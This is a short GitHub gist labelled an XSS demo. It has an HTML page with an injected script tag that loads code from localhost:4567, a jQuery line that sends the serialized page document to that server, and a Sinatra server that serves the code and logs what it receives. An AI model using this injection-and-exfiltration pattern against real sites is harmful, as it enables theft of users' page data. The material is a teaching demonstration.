Skip to content

Instantly share code, notes, and snippets.

@jtomschroeder
Last active August 29, 2015 14:26
Show Gist options
  • Save jtomschroeder/c543f605c885dfc34c9f to your computer and use it in GitHub Desktop.
Save jtomschroeder/c543f605c885dfc34c9f to your computer and use it in GitHub Desktop.
XSS demo
$.get("http://localhost:4567/?document=" + encodeURIComponent(JSON.stringify(document)), function(data, status) {});
<!DOCTYPE html>
<html>
<body>
Hello, world!
<!-- XSS injection -->
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.4/jquery.min.js"></script>
<script type="text/javascript" src="http://localhost:4567/code"></script>
</body>
</html>
require 'sinatra'
get '/code' do
File.read("code.js")
end
get '/' do
puts params["document"]
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment